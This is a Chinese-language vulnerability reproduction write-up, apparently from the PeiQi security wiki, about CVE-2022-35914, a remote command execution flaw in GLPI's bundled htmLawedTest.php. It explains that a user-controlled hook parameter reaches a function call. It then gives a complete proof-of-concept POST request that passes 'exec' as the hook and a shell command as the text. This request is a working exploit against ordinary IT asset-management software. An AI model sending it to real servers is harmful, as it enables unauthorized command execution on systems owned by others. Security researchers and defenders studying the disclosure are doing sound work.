GLPI htmLawedTest.php 远程命令执行漏洞 CVE-2022-35914
2022-10-5 13:25:42 Author: PeiQi文库(查看原文) 阅读量:50 收藏

漏洞描述

GLPI是一个用于IT资产管理的开源软件,用PHP编写,并在GPL许可下发布。 作为一种开源技术,任何人都可以运行,修改或开发代码。GLPI 10.0.2及之前版本存在安全漏洞,该漏洞源于PHP htmlawed 模块中 允许 PHP 代码注入

漏洞影响

GLPI

漏洞复现

登录页面

出现问题的文件为 htmLawedTest.php, 来源于第三方库 PHP Labware

https://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/

htmLawedTest.php 中接收参数并传入方法 htmLawed

跟进文件 htmLawed.php

if($C['hook']){$t = $C['hook']($t, $C, $S);}

这里可以看到参数均为用户可控参数,当控制参数 hhookexectext 为执行的命令时就导致了命令执行漏洞

验证POC

/vendor/htmlawed/htmlawed/htmLawedTest.php

访问页面获取到 sid 与 token 后再发送请求包

POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
Host: 
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 88
Content-Type: application/x-www-form-urlencoded

token=a79cf121bde57fe0e3cc0f247f77961a&text=id&hhook=exec&sid=h1c0vk004dvulal5nj8i6en44e


关注公众号

下面就是文库的公众号啦,更新的文章都会在第一时间推送在交流群和公众号
想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦~

支持作者

关于文库

在线文库: http://wiki.peiqi.tech
Github: https://github.com/PeiQi0/PeiQi-WIKI-Book 

文库动态


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247493588&idx=1&sn=99c7a429bb57cb121f8c871814cea3d5&chksm=cecc4f8df9bbc69b5f5234417c06e2379a38490660699f9c5e6b9eabec241d3f8ec711b64556#rd
如有侵权请联系:admin#unsafe.sh